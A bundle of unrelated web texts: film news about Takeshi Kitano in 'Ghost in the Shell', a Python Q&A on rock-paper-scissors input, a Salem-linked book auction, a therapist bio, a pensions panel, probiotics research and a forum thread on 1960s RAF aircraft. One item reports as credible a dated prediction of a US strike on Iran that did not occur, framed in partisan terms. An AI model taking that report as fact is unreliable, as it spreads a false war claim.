text:
Select Cinema / All Cinemas GSC - Suria Sabah GSC - 1Borneo GSC - Imago Mall GSC - CityONE GSC - The Spring Mall GSC - The Spring Bintulu GSC - Bintang Megamall LFS - Harbour Mall Sandakan TGV - Imperial City Mall TGV - Vivacity Megamall TGV - Bintulu Boulevard mmC - Summer Mall Growball - Growball Cinemax Megalong - Megalong Mall Penampang City C'plex - City Cineplex Eastern C'plex - Eastern Plaza 10Star - Bintang Kubota 10Star - Labuk Square 10Star - Tabin Jaya Max Cinemas - Harbour Town Lahad Datu
Takeshi Kitano joins "Ghost in the Shell" movie adaptation
Writer: Dhivakaran Jude
Takeshi Kitano will star alongside Scarlett Johansson.
5 Mar – DreamWorks' live-action adaptation of the famous Japanese manga, "Ghost in the Shell" has just cast its first Japanese actor as Takeshi 'Beat' Kitano joins Scarlett Johansson in the sci-fi fantasy film.
Rupert Sanders will direct the adaptation of the series which is written and illustrated by Masamune Shirow.
It tells the story of a female cyborg who leads a task force called Special 9 to prevent a dangerous extremist from destroying the advancement of cyber-technology.
Kitano's role in the upcoming film will be as Daisuke Aramaki, the chief of public security of Section 9.
"This film tells the story of mankind in the near future in a unique setting. My role Aramaki is a unique and attractive character. The story revolves around the human relationships of the characters," said Kitano.
"This film will be stylish and entertaining, which is completely different from the type of movies I direct myself. This excited me and was the reason I decided to participate in this film."
The 69-year-old is one of the most respected veterans in the Japanese film industry, having experience both on and off camera.
This film will be his second Hollywood credit after working with Keanu Reeves in "Johnny Mnemonic" back in 1995.
Paramount Pictures will release "Ghost in the Shell" in March 2017.
Cinema Online, 05 March 2016
Ghost In The Shell (30 Mar 2017)
"Ghost in the Shell" wants Scarlett Johansson
The "Lucy" actress has been offered to star in the American live-action adaptation of the Japanese manga
Takeshi Kitano's tip to filmmakers
Comedic actor turned director and recipient of the Samurai Award at the Tokyo Film Fest advises new filmmakers
Michael Pitt to play villain in "Ghost in the Shell"
The actor will be joining Scarlet Johansson in the film adaptation of the Japanese manga, "Ghost in the Shell"
Japanese manga "Fullmetal Alchemist" goes live-action
Yamada Ryosuke from Hey!Say!JUMP will play lead role Edward Elric in the movie adaptation
Scarlett Johansson: highest-grossing actress of all time
She is also the only actress in the Top 10 list of highest-grossing movie stars of all time
Malaysian actor Pete Teo to appear in "Ghost in the Shell"
Marking his Hollywood debut, the actor will appear alongside lead actress ScarJo
Revisiting the first two "Ghost In The Shell" movies
Did you know that before the Hollywood remake, there were the anime films?
Netflix to produce "Gundam" alongside Legendary Pictures
The upcoming live-action project will be helmed by "Kong: Skull Island" director Jordan Vogt-Roberts


text:
Q: Defining a string using a variable, then using that variable as an imput I am new to this site, so please bear with me. I need to create a rock paper scissors program that outputs each round and the winner of each round, but am having difficulties with the inputs. When I run my program (this is only a section of it), the computer is able to recognize that R=rock, P=paper, and S=scissors, however when R, P, or S is input in PlayerChoice, the program does not understand that R stands for rock or P stands for Paper, etc.  How can I fix this problem?
R='rock'
P='paper'
S='scissors'
RPS=[R,P,S]
Name=input('please enter your name')

while PlayerCounter<3 and CompCounter<3

PlayerChoice=input('choose:rock(R),paper(P),scissors(S)')

CompChoice=RPS[random.randint(0,2)]

print('computer chose ' + str(CompChoice))

this is a sample of the output
__________Game  1 __________
choose:rock(R),paper(P),scissors(S) R
computer chose rock
__________Game  1 __________
choose:rock(R),paper(P),scissors(S)P
computer chose rock
__________Game  1 __________
choose:rock(R),paper(P),scissors(S)S
computer chose scissors

A: "Understand" is a matter of programming.  You have to use the same representation for both players.  The problem here is that you used the characters 'R', 'P', 'S' for the player, but integers 0, 1, 2 for the computer.  Try this:
move_dict = {'R': 0, 'P': 1, 'S': 2}
player_num = move_dict[PlayerChoice]
move_diff = CompChoice - player_num
# Now you evaluate move_diff to find out who wins.

I recommend that you convert the player choice to the same integers set.  Then you can simply subtract the two choices to find out who won: 0 is a tie, 1 or -2 is one side; 2 or -1 is the other side.  You can use the modulus operation "% 3" to map that to just 0, 1, 2 as a game result.
Does that get you moving?

A: It would be much easier to use a single list to handle the moves of the player and the computer in this case. The transition from the strings to characters is an unnecessary complication.
import random

# Establish the potential values from which players can choose
values = ["R", "P", "S"]

chosen = 0
# Don't proceed until the user has provided reasonable input
while chosen == 0:
    # The [0] at the end of this finds the first letter, even if the player inputs something like "rock"
    player_choice = input("Choose rock (R), paper (P), or scissors (S): ").upper()[0]
    if player_choice in values:
        chosen = 1 # Allow the program to proceed

# Choose a random value for the computer
computer_choice = values[random.randint(0, 2)]

# Display the results
print("The computer chose \"" + computer_choice + "\" and the player chose \"" + player_choice + "\"")

However, I agree with Prune's response: you should use integers in place of characters or strings, else you'll have some complicated logic to determine the winner of the game (paper beats rock, rock beats scissors, scissors beats paper, rock is beaten by paper, scissors are beaten by rock, paper is beaten by scissors).

redpajama_set_name: RedPajamaStackExchange


text:
This copy of the Bay Psalm Book was once owned by Jonathan Corwin, a judge in the Salem witch trials, and his wife. Swann Auction Galleries
There's no sorcery here — just a case of high demand.
A book with ties to the Salem witch trials sold at auction last week for more than five times what auctioneers had expected.
A previously unknown seventh edition of the Bay Psalm Book — once owned by Jonathan Corwin, a judge in the Salem witch trials — fetched $180,000 at an auction hosted by Swann Auction Galleries in New York.
After the "buyer's premium" was tacked onto the item, the total cost of the book was $221,000, said Rick Stattler, an Americana specialist for Swann Auction Galleries.
"It turned out to be the most expensive book ever sold in an Americana auction here," Stattler said.
Stattler said the book came to be known as the "Witch Book" because it was owned by Corwin and his wife, Elizabeth, not long after the conclusion of the witch trials of 1692.
Later, descendants of John Proctor, who was tried and hanged during the witch trials, took ownership of the leather-bound book. The double connection to the trials added to buyers' intrigue, Stattler said.
William Reese Co. of New Haven, a major dealer of early printed Americana, bought the book, Stattler said.
Eight people registered to bid by phone during the auction, and many others gathered in the auction hall. Officials from the Salem Witch Museum had interest in the book but were quickly outbid.
The bidding "just took off," said Biff Michaud, chief executive of the Salem museum. "When it hit $110,000, I thought maybe I could put in $115,000. But then it blew by that and became just unreachable for us."
Michaud originally planned to bid just $40,000.
"How wonderful it would have been to have the single most important article from that period as part of the new exhibit we are putting together," he said.
Bill Reese, president of the William Reese Co., said he purchased the item because "it was an opportunity that wasn't going to come again."
Reese expects to sell the book to a private collector.
The book was part of the Printed and Manuscript Americana auction lot. It contains psalms and spiritual songs followed closely by the Puritans.
The first edition of the Bay Psalm Book was printed in Cambridge in 1640. According to the Library of Congress, the hymnal is considered "America's First Book."
Later editions were published in England. Until this version of the Bay Psalm Book surfaced, it was not known that a seventh edition was printed in the United States.
Text in the book indicates it was printed and sold by Benjamin Harris at the London Coffee House in Boston in 1693.
Reese said he was more interested in the book's rarity than its connection to the trials.
Steve Annear can be reached at steve.annear@globe.com. Follow him on Twitter @steveannear.

redpajama_set_name: RedPajamaCommonCrawl


I am originally from Newfoundland, Canada, where I spent my formative years teaching and performing as an actor and a singer. In 1994 I received my college degree in classical voice (B.Mus.) from Memorial University and, after years of teaching performing arts, acting and singing on stage and in film, I made a move to Los Angeles. In L.A., I continued to teach music while attending graduate school in Counseling Psychology. In 2001, I earned a Master's Degree in Counseling (LMFT) from California State University, Northridge. I then acquired 3000 clinical hours as a trainee and intern working in various therapeutic environments, including inpatient, residential, partial hospitalization, intensive outpatient, free clinics and private practice. I received my California license as a Marriage and Family Therapist in 2006 and I relocated to Eugene shortly thereafter. Since 2007, I've been working as an LMFT, licensed in the state of Oregon.
In my personal time, I train and compete as a Master's level road and cross-country runner. When not running, I can be found hiking the local trails with my husband and my dog. My family loves to adventure, so traveling and exploring the various corners of the world is a top priority. I sustain my love for music and theatre more vicariously these days, but sometimes I can be spotted on a stage in Eugene. I'm an avid reader and writer and my interests cover a wide variety of subjects. I am dedicated to staying current on the latest research in the field of counseling psychology and I am passionate about expanding my therapeutic knowledge and skills.


text:
Pension panellists reveal 8 key insights
By CA Today
Pannelist bios:
Chris Curry is Director of the Pensions Policy Institute and a co-chair of the DWP's Automatic Enrolment Review Advisory Group
Gregg McClymont is Director of Policy and External Affairs at B&CE;
Tom McPhail, Head of Retirement Policy at Hargreaves Lansdown; and
Sir Brian Souter CA was immediate past President of ICAS and is one of the country's leading entrepreneurs and philanthropists.
Ahead of ICAS' Challenging Conversations event on pensions in London, four of our panellists shared their thoughts on some of the hot topics.
Sir Brian, the Government's waning support for the pensions dashboard and the delay to pensions cold calling ban seems like a retrograde step in providing better pensions outcomes for people. How must policy making change to avoid this?
We need to reconsider pot-follows-member proposals – new digital technology may make it more efficient to track pension pots with consolidated reporting to members.
Auto enrolment is hailed as a policy success story – what are your thoughts?
It's too early to tell, as pensions is a very long game.
On the plus side it means more members; on the negative side, contributions for most members are much lower than under the previous DB regimes.
There are also poverty threshold traps for people on lower earnings.
What more should employers be doing to help employees saving into defined contributions arrangements save enough for a decent retirement?
Two important steps for members will be to squeeze out excess manager fees, and to start saving early and at affordable and steady contribution rates with supporting employer savings.
Tom, in your experience, is freedom and choice delivering for savers?
Freedom and choice was clever politics, it was radical and hasty to the point of recklessness and so far it has proved enormously popular with investors, who in the main have used the freedoms sensibly.
However, we have enjoyed a 10-year bull market; if the investment tide recedes, particularly if we see a rapid fall in stock markets, then we'll get to find out just how well these reforms have really served investors.
The FCA is still working to implement policies which will protect investors. In the meantime everyone's happy: investors, the pensions industry and the Treasury….
Gregg, as a former MP, do you think it's possible for politicians to bridge the party divide and reach a long-term consensus on pensions?
This was achieved during the Tony Blair years via the Turner Pensions Commission which built cross-party support for auto enrolment. So, it's not impossible. But it takes political vision and courage. An OBR-style pensions policy analysis body would be a first step.
Are collective defined contribution pensions just a good idea in theory or could they work in practice?
Many of the benefits which CDC potentially offers are achieved in accumulation by not-for-profit master trusts with scale. This is the lesson from Australia. The outstanding question is about retirement income streams and how to deliver them to members efficiently. Again not-for-profit master trusts can deliver these benefits if the regulatory environment is right.
Chris, what could Government do to help people prepare for a 100-year life?
The hardest part will be getting people to be aware of the possibility of the 100-year life – younger people still tend to underestimate how long they are likely to live for.
But creating some flexibility in saving alongside or on top of the existing strong default of automatic enrolment could help people manage better financially, while more access to employment training and skill development at all ages might also enable people to cope with the challenges, and so appreciate the benefits, of living longer.
In recent years significant pension reforms have been implemented. When and how will the public know if these policies have met their stated objectives?
Most of the recent reforms will take many years to bed in. For example, with automatic enrolment, it is only those who are now joining the workforce who will get the full benefit of pension contributions throughout their working life.
It is also very unlikely that the policies will not be changed before reaching their full long-term effectiveness. So, it is very difficult for the public to know if they have worked – in particular if the stated objectives are not very clear.
Perhaps a very clear articulation of what a good retirement outcome looks like would help the public to judge how well things were going nationally, and plan for their own later life in due course.
Big Pensions Debate: watch the opening remarks


3-25-7 WASHINGTON DC -- The long awaited US military attack on Iran is now on track for the first week of April, specifically for 4 AM on April 6, the Good Friday opening of Easter weekend, writes the well-known Russian journalist Andrei Uglanov in the Moscow weekly "Argumenty Nedeli." Uglanov cites Russian military experts close to the Russian General Staff for his account. The attack is slated to last for twelve hours, according to Uglanov, lasting from 4 AM until 4 PM local time. Friday is a holiday in Iran. In the course of the attack, code named Operation Bite, about 20 targets are marked for bombing; the list includes uranium enrichment facilities, research centers, and laboratories. The first reactor at the Bushehr nuclear plant, where Russian engineers are working, is supposed to be spared from destruction. The US attack plan reportedly calls for the Iranian air defense system to be degraded, for numerous Iranian warships to be sunk in the Persian Gulf, and the for the most important headquarters of the Iranian armed forces to be wiped out. The attacks will be mounted from a number of bases, including the island of Diego Garcia in the Indian Ocean. Diego Garcia is currently home to B-52 bombers equipped with standoff missiles. Also participating in the air strikes will be US naval aviation from aircraft carriers in the Persian Gulf, as well as from those of the Sixth Fleet in the Mediterranean. Additional cruise missiles will be fired from submarines in the Indian Ocean and off the coast of the Arabian peninsula. The goal is allegedly to set back Iran's nuclear program by several years, writes Uglanov, whose article was re-issued by RIA-Novosti in various languages, but apparently not English, several days ago. The story is the top item on numerous Italian and German blogs, but so far appears to have been ignored by US websites. Observers comment that this dispatch represents a high-level orchestrated leak from the Kremlin, in effect a war warning, which draws on the formidable resources of the Russian intelligence services, and which deserves to be taken with the utmost seriousness by pro-peace forces around the world. Asked by RIA-Novosti to comment on the Uglanov report, retired Colonel General Leonid Ivashov confirmed its essential features in a March 21 interview: "I have no doubt that there will be an operation, or more precisely a violent action against Iran." Ivashov, who has reportedly served at various times as an informal advisor to Putin, is currently the Vice President of the Moscow Academy for Geopolitical Sciences. Ivashov attributed decisive importance to the decision of the Democratic leadership of the US House of Representatives to remove language from the just-passed Iraq supplemental military appropriations bill which would have demanded that Bush come to Congress before launching an attack on Iran. Ivashov pointed out that the language was eliminated under pressure from AIPAC, the lobbing group representing the Israeli extreme right, and of Israeli Foreign Minister Tsipi Livni. "We have drawn the unmistakable conclusion that this operation will take place," said Ivashov. In his opinion, the US planning does not include a land operation: " Most probably there will be no ground attack, but rather massive air attacks with the goal of annihilating Iran's capacity for military resistance, the centers of administration, the key economic assets, and quite possibly the Iranian political leadership, or at least part of it," he continued. Ivashov noted that it was not to be excluded that the Pentagon would use smaller tactical nuclear weapons against targets of the Iranian nuclear industry. These attacks could paralyze everyday life, create panic in the population, and generally produce an atmosphere of chaos and uncertainty all over Iran, Ivashov told RIA-Novosti. "This will unleash a struggle for power inside Iran, and then there will be a peace delegation sent in to install a pro-American government in Teheran," Ivashov continued. One of the US goals was, in his estimation, to burnish the image of the current Republican administration, who would now be able to boast that they had wiped out the Iranian nuclear program. Among the other outcomes, General Ivashov pointed to a partition of Iran along the same lines as Iraq, and a subsequent carving up of the Near and Middle East into smaller regions. "This concept worked well for them in the Balkans and will now be applied to the greater Middle East," he commented. "Moscow must expert Russia's influence by demanding an emergency session of the United Nations Security Council to deal with the current preparations for an illegal use of force against Iran and the destruction of the basis of the United Nations Charter," said General Ivashov. "In this context Russia could cooperate with China, France and the non-permanent members of the Security Council. We need this kind of preventive action to ward off the use of force," he concluded.


Every year, PEOPLE teams up with the TODAY Show to bring you the best of the best in all things beauty. And you don't even need to make a trip to the salon to give your hair the star treatment.
Powder foundation sometimes gets a bad rap for being unnatural-looking, and a texture best left to oily skin. But a new generation of powder foundations is here, and it's ready to disprove all those conceptions. These foundations, chosen for specific skin concerns, deliver better skin than you ever thought possible.


Probiotics—which are living bacteria taken to promote digestive health—can evolve once inside the body and have the potential to become less effective and sometimes even harmful, according to a new study from Washington University School of Medicine in St. Louis.
"If we're going to use living things as medicines, we need to recognize that they're going to adapt, and that means that what you put in your body is not necessarily what's going to be there even a couple hours later," said senior author Gautam Dantas, Ph.D., a professor of pathology and immunology, of molecular microbiology, and of biomedical engineering. "There is no microbe out there that is immune to evolution. This isn't a reason not to develop probiotic-based therapies, but it is a reason to make sure we understand how they change and under what conditions."
Understanding the principles that govern evolution in the digestive tract is a key step toward creating safe and effective probiotic therapeutics, the researchers said. Dantas and colleagues, including first authors Aura Ferreiro, a graduate student, and Nathan Crook, Ph.D., a former postdoctoral researcher in Dantas' lab, turned to a probiotic known as E. coli Nissle 1917. The strain was isolated more than a century ago from a World War I soldier who emerged unscathed from an epidemic of severe diarrheal disease that sickened his comrades.


text:
Alternative History and Future Speculation
Royal Air Force strike aircraft squadrons in the late 60s: plans versus reality
Thread starter uk 75
ACCESS: Top Secret
I know that this is a well trodden subject but I thought that it would be interesting to compare the plans with what happened in reality.
Ground Attack/Recce Squadrons
It was planned to replace the Hunter with the 1154 Harrier in 8 squadrons: 2 in the UK, 2 in Germany, 2 in the Gulf and 2 in the Far East. None of these squadrons would be in service before 1970. By 1965 the likely in service date was slipping towards 1972 or worse.
Following cancellation of 1154 this is what actually happened in the likely 1154 squadrons.
UK: 38 Group
1 Wittering 1127 Harrier 1968
41 Conningsby Phantom 1968
RAF Germany
2 Bruggen Phantom 1971
4 Wildenrath 1127 Harrier 1970
Gulf (in the UK in real life)
43 Phantom 1969
208 Buccaneer 1971
20 1127 Harrier 1972
This suggests that the RAF did well to cancel the risky 1154 and replace it with a combination of Phantoms and the more flexible 1127.
Light Bomber/ Interdictor/Recce
The allocation of TSR2 aircraft to replace Canberra squadrons on a basis of 1 for 2 and Valiant squadrons on a one for one basis is a much more fraught subject. By cancellation plans to base TSR2 overseas had been scrapped in favour of a UK based force which could be deployed like the V bombers as necessary.
UK Bomber Command
Events led to the three Valiant squadrons at Marham (49,148 and 207) being scrapped in 1965. They were replaced by the re-roleing of the Vulcan force from 1968. There is no evidence that the squadrons would have been resurrected as TSR2 units at Marham. Plans suggest that TSR2s were also intended to replace the Vulcan from 1972. However, this is only an assumption.
40 Squadron at Honington was to be resurrected from a disbanded Canberra squadron. Other disbanded Canberra squadrons that could have been revived were: 59 61 69 82 104 109 149 151 192 199 245 527 540 and 542. No evidence suggests that any of these were proposed but modelmakers have plenty of nice badges to choose from!
NEAF and FEAF
6 squadron at Akrotiri received Phantoms and returned to the UK.
9 and 35 squadrons with Vulcans assumed the role that TSR2 had been intended to fill.
45 squadron at Singapore might have received TSR2s or the later F-111. It was disbanded with the withdrawal from East of Suez.
RAF Germany Interdictor Force
In a sensible world this would have been the main purpose of the TSR2 force to replace the aged Canberra by the end of the 1960s. Instead the role was left unclear.
Only 2 1154 squadrons were planned for RAFG and they have been accounted for above. UK based TSR2s or later F111 squadrons would have been the logical choice but the numbers become problematic.
Reality gives clues as to why TSR2 was a dead end.
14 Bruggen Phantoms from 1970
16 Laarbruch Buccaneers from 1971
To which can be added the following re-roled UK squadrons
12 Honington Vulcans up to 1968. Then TSR2s/F111s? Buccaneer instead.
15 Marham then Bruggen Vulcans Then TSR2s/F111s. Buccaneers from 1970 moving to Germany.
Replacing the TSR2 with Phantoms and Buccaneers allowed the RAF to have disposed of its SACEUR assigned Canberras by 1971. Only an optimist would suggest that operational TSR2 squadrons could have been available in this period.
Moreover, TSR2 was a nuclear delivery platform and less capable in the conventional role than the Phantom, Buccaneer, Jaguar or Tornado.
Some of the above detail may not be quite right but it does show that by 1971 the RAF had a credible strike force which it might not have had if the riskier 1154 and TSR2 options had been followed.
alertken
Now put onto that, money and industrial politics, all as addressed, 1964-70, by traitor Wilson and ex-communist Healey.
For a decade F-4M was free (dwell before the hire purchase instalments began) and carried free US weapons in RAFG, easing AWRE/ROF overload while kitting the SSBNs. From 1975 Anglo-French Jaguar + UK WE177C in RAFG, phasing into UK/FRG/It Tornado - all building Euro-Jointery (conforming with the then-spirit of the times, common across all UK political Parties {irrelevant if today you disagree}).
When India, Singapore, Gulf States comprehended we were really vacating East of Suez they got on with paying for their own defence.
On the Central Front we replaced our 1947-technology Hunter/Canberra with kit that could at the least force a pause for thought.
RN on one Strike carrier till 1978 had a credible Air Group, then from 1981 an ASW/amphibious assault Force, both for the first time ever. Strategic Deterrence from 7/68 became highly credible.
What people forget, whingeing about deleted solo-complex TSR.2/P.1154, is total Force capability. Outgoing Ministers, 10/64, were down to 50 TSR.2 (10 OCU, 40 to be strike/recce), maybe 150 P.1154, 5 SSBNs, all somehow to be funded from barren coffers.
While on the subject of the Navy, I would add that the most important decision taken by the Labour Government was to develop the Hunter Killer SSN as the RN capital ship. Cancellation of the 5th Polaris submarine allowed the SSN programme to resume sooner than otherwise.
Had resources been out into the CVA 01 we would have had fewer SSNs and escort ships in 1982. Despite problems with the torpedos, the SSN was a decisive weapon in a way that a carrier could not have been.
In the 70s deployments of SSNs were sufficient to warn off the Argentines. Had the MOD and FCO had their eyes on the ball in 1982 a similar deployment might have done so again and saved much blood and treasure.
By contrast CVA 01 (which by this time would have been our only flat top) might not have been available. Assuming she had entered service in the early 70s (very optimistic), 1982 might have well found her going into refit, or worse still mothballed by John Nott to pay for our NATO commitments. I doubt Eagle would have been still in service by 1982 (Ark only staggered into the late 70s because she was a national institution). Hermes might have been the only available carrier, with a hodge podge air group of Buccaneers and Harriers borrowed from the RAF.
The unlovable Dr Owen is to be thanked for pushing through the Invincibles at a time when our economy was through the floor. Roy Mason as Defence Secretary kept the Sea Harrier going through the twilight years of the 70s.
Despite all this a part of me would like to have seen TSR2s and 1154s in service and CVA 01 with its battlegroup. However, that part is nine years old and not having to fight in them!
phrenzy
as long as all they ask me about is the air war...
I'm not particularly well versed in these things but wasn't buying the F-111 a big (if not biggest) factor in TSR2 cancelation?
The fact that it was over promised, over budget and over time left them in the wind. It too was supposed to be useful in the tactical nuclear role (which apparently was part of the reason Australia kept on board with it though they never followed through with nukes).
That in mind a slightly related question:
Do you think they would have gone ahead with tornado if they ended up with aardvarks?
Abraham Gubler
uk 75 said:
Had resources been out into the CVA 01 we would have had fewer SSNs and escort ships in 1982.
If by fewer you mean none? It's just not feasible or logical to surmise that the RN could maintain a high end strike carrier capability (in the form of the CVA-01) through the 60s with the same budget it received in real history. The budget would have to be much more to afford the new ships and wider fleet recapitalisation. Which is an obvious problem for the HM Treasury.
the SSN was a decisive weapon in a way that a carrier could not have been.
Had the MOD and FCO had their eyes on the ball in 1982 a similar deployment might have done so again and saved much blood and treasure.
No it wouldn't. This argument ignores of the Argentine plans for invading the Falklands which were very serious and tied up with the 150 year anniversary of their eviction that was going to clock over on New Years day 1983.
1. Phantom II was an 'interim' system, until the cheaper to run Jaguar entered service.
2. Capability....in both cases (P1154 and TSR.2) the capabilities of these aircraft IF they had reached RAF service could not have been as planned.
First off P1154 (to be called Harrier) had much a similar fit of avionics as that which ended up in both Harrier and Jaguar. Yet they did not recieve the digital INS but rather a analogue system.
Then we come to the vexed issue of the TSR.2 computer and the fact it couldn't have been the system they were working with at the time of cancellation. The 'most likely' is that produced for the USN A7 Corsair, which proved quite flexible.
A 'barebones' system would ditch the sophistcated computer for using something similar to the Jaguar, again leaving great scope for flexibility.
3. Yes CVA-01 and the SSN fleet are probably mutually exclusive without other compromises across all Services. However range of weapons systems means it's not an easy comparison between the offensive capabilities of a CVA-01 and its aircraft with that of a SSN.
pathology_doc
phrenzy said:
Both were over promised, over budget, etc. etc. The difference is that the US kept paying and paying until the F-111A matured as a successful attack bomber (and knew when to stop paying when the -111B flopped as a naval interceptor). If the Aussies had known how long they'd have to wait for their F-111s, they might have put money down on the TSR.2. Whether that would have saved it (possibly by encouraging other buyers, e.g. Canada), who knows?
That in mind a slightly related question: Do you think they would have gone ahead with tornado if they ended up with aardvarks?
Given how long the Aussies kept the F-111 in service, arguably not. (ETA: to clarify, whatever your opinion regarding the relative merits of the Tornado and the F-111, unless you are absolutely rolling in money that you're desperate to spend, you're not going to buy both - which means that any nation already operating the F-111 isn't going to spend money developing another airplane to do the exact same job within the same time scale. The strike/attack version of the Tornado may have outlasted the F-111 in service, but the overlap between the two is sufficient that the purchase of one is redundant to anyone who already has the other, unless for various reasons they are deeply, desperately unhappy with it.)
(What rankles about the TSR.2 cancellation IMO is not just the culling of the programme on the basis of unaffordability but the fact that both the proposed replacements (F-111K and AFVG) subsequentlyfell by the wayside after substantial outlays of money with no hardware to show for it. One could write reams on the incompetence of the Services/MOD with respect to procurement, but at the end of the day it seems to me that the closest the West has ever come to one airplane that truly does it all for everyone is either the F-4 Phantom II or the F-15, depending on your tastes. Given that the F-15 has never operated from carriers and probably never will, I'd have to give the gong to the F-4.)
JFC Fuller
I love this forum but sometimes its like groundhog day.
The only genuinely viable potential customer for TSR-2 beyond the RAF was Australia. The type was a large theatre bomber- not many of those were acquired by western export customers after the Canberra.
F-111K was only planned to equip 4 squadrons, AFVG (which culminated in Tornado) was a programme intended to bulk out the strike fleet. The F-4K was originally a P.1154 replacement but became a Lightning part replacement when it became apparent that AFVG was unlikely to produce one.
"Keep on Truckin'.."
Wasn't the point of 'Groundhog Day' (the movie) to learn from/correct previous errors?
The Australians had learned to be a bit wary of 'promising' British aero-space development programs,
- since having to put the old Meatbox up against MiG 15s in Korea - when they ought to have had the Hunter..
The point remains applicable..
J.A.W. said:
http://www.oxforddictionaries.com/definition/english/Groundhog-Day
JFC Fuller said:
The ox-dic editor who chose that entry - has obviously not seen the movie.. or has missed the point..
Which is... redemption.. by getting it right.. finally..
True, but any thread that goes into the title topic is going to revisit this argument by default. Who cares? Some of us don't mind thrashing it out for the billionth time, and nobody's forcing you to read it.
Air defence variant for Canada? After the Arrow's demise, doesn't that become at least a theoretical possibility?
TSR.2 should have been a fast battlefield tactical bomber, with some application to logistic targets beyond the immediate front line (bridges, railheads, canals, etc.), but it ended up being asked to hit strategic targets in the nuclear strike role too, and that was just pushing things too far (as well as substantially narrowing down the list of potential customers). Higher cost and narrower market were only ever going to end in tears.
The Arrow was cancelled in early 1959. TSR-2 didn't fly until late 1964, by which time the Arrow programme and the requirement was long dead and buried.
TSR-2 was never going to be a "battlefield tactical bomber", that was the role undertaken by Venoms, then Hunters and was to have been undertaken by the P.1154 before being swapped for the F-4M (itself later swapped for the Jaguar). TSR-2 was a replacement for the Canberra in the theatre bomber role, that was how it was originally specified and that was what it was designed to do. The type never had a formal strategic bomber role.
Dude WTF? The RAAF brought the Meteor specifically for Korea because nothing else was available for rapid acquisition to replace the Mustang. No. 77 Squadron started flying the Meteor in operations over Korea at the same time as the Hawker Hunter had its first every flight!
Flying Sorcerer
ACCESS: Confidential
pathology_doc said:
Politically impossible. The Conservatives, who were in power until '63, would have to explain why they cancelled the Arrow and replaced it with a British bomber and the liberals would have blanched at the expense of TSR.2
Abraham Gubler said:
Dude WTF?
The Meteor had been scheduled for replacement since the end of WW2, & the Australians
had been a bit keen on the Hawker swept wing prototype equivalents of the F-86/MiG 15,
but none were in production, or forthcoming, so the poor ol' Meatbox was all that was available for Korea.
& the Hunter took so long that they stretched the Sabre-jet over an Avon/Aden package instead..
This is an extremely mangled version of history.
The Meteor that the RAAF brought was not of the 1945 variety. It was a new build F.8 that had first flown in late 1948. It lacked the swept wing to be comparative to the Sabre and MiG-15 but it was arguably better than the F-80 and F-84. It was all that could be brought in a time of need and could hold its own at anything but the highest altitude. It's still an item of controversy in the RAAF that it was flown on a few high altitude fighter sweeps.
The RAAF was interested in the swept wing Hawker P.1081 but it was never going to be timely to replace the Mustang for Korean service. The P.1081 had its first flight in June 1950 and even if it wasn't lost in a crash and continued on in production by CAC could not conceivably be in service significantly earlier than the Avon Sabre (1954).
The RAAF had been interested in the P.1081 because it aligned with its original late 1940s jet engine plan. Which was to build an air force based on the R-R Nene/Tay engines being built in Australia by CAC. Both the Vampire interim fighter, Canberra bomber, the new swept wing day fighter (P.1081) and the new all-weather fighter (CAC designs) were to have these engines. But the availability of the axial flow R-R Avon engine changed these plans as first the Canberra then the new all-weather fighter (CA-23) were to ditch the Nene/Tay engine. With the cancellation of the P.1081 in 1951 the RAAF decided to build the new fighter with the Avon. When it came to selecting a new Avon powered fighter in 1951 the Sabre was a clear choice over the Hunter because it was in service rather than still in prototype stage.
None of this had any impact of course in the 1960s strike aircraft selection. Doubt in the TSR.2 was instilled in the RAAF by the British senior levels during the assessment tour. But the RAAF in the ten years previous had been more than interested in acquiring other British aircraft when they suited their needs. Like the Vampire trainer brought in large numbers and the Vulcan bomber the order for which was cancelled by a government defence cutback in the late 50s.
The Australians had held an interest in swept wing Hawkers - from the P.1052 - which belatedly flew in `48..
From D.N. James - 'Hawker An Aircraft Album'; ..during 1949..
"...at A & AEE Boscombe Down, VX279 was being assessed as a potential fighter for the RAAF."
The Meteor F8 was an over-powered ( good acceleration/climb performance) 1st gen jet & had been developed for too long, given its fundamental Mach limits, it was never going to be an A2A match for the MiG 15..
The RAAF was right to be suspicious about the ability of the British to come through with a timely, effective
& on budget TSR 2, but were destined to be frustrated at the F-111 delays/troubles too..
Abraham is of course absolutely right, the RAAF did not operate (with the exception of a single F.4 sent for trials by the RAF in 1946/7) operate the Meteor until 1951 when No.77 squadron converted to the type in Japan, having originally been deployed with Mustangs. It would thus have been rather difficult for the RAAF to have been planning for the types replacement "since the end of WW2". The Meteor F.8 in Australian service was primarily used as an A2G type in Korea though it did tussle with Mig-15s.
The RAAF did however operate the Vampire (produced in Australia) and were planning to produce the Hawker P.1081 but dropped it when it was apparent it was not going to be available anytime soon (the RAF had little interest in the type and were holding out for Avon/Sapphire powered types) so the RAAF went with the Avon Sabre. P.1052 VX279 was rebuilt as the prototype P.1081.
It was the British, including H-S of course -who were planning the replacement of the Meatbox from `45..
issuing " Specification F.43/46..." which ..eventually.. produced the Hunter for service well into the next decade..
& it was the long delay in producing an up-to-date swept wing fighter that kept the old Meteor in production..
So long in fact - did the Hunter take.. ..that even the RAF took up flying the F-86..
The RAAF did accept F4s (Phantoms) in lieu of delayed F-111s though, I recall seeing them as a kid..
F.43/46 wasn't issued until January 1947.
Correct..
& from D.N. James again..
"Following the end of WW2, the A.M. began planning a replacement for the Meteor & in January 1947 issued...
Spec... F.43/46...Requirements of F.43/46 included rapid starting, climb to 45,000ft in 6 min, a top speed of 547kt at this height & a service ceiling of 50,000ft."
The Hunter was the belated Hawker response to this spec set..
The Hunter was built to F.3/48 which was issued in March 1948. F.43/46 was abandoned although the work undertaken for it fed F.3/48.
Yeah, & how many obsolescent Meatboxes were built - prior to a definitive Hunter seeing squadron service?
Since the RAF didn't want R-R Nene powered fighters ( although they powered the MiG 15 well enough)..
No wonder the Aussies were duly doubtful about the prospects of the TSR 2..
Oz TSR.2? They had more sense.
1962. Pols tell RAAF that a Canberra replacement might be affordable, maybe. Indonesia, China brewing away Near North. RAAF tech evaluation team sets about looking at the market..Vigilante, Crusader...comes fairly promptly to TFX or TSR.2. (Only our Oz mates can comment on the issue of a nuke option, analogous to NATO's Project E - RAFG Canberras hauled US nukes until 1971. If anysuch was in the least likely, US Bombs would be cheaper/easier carried on a US platform).
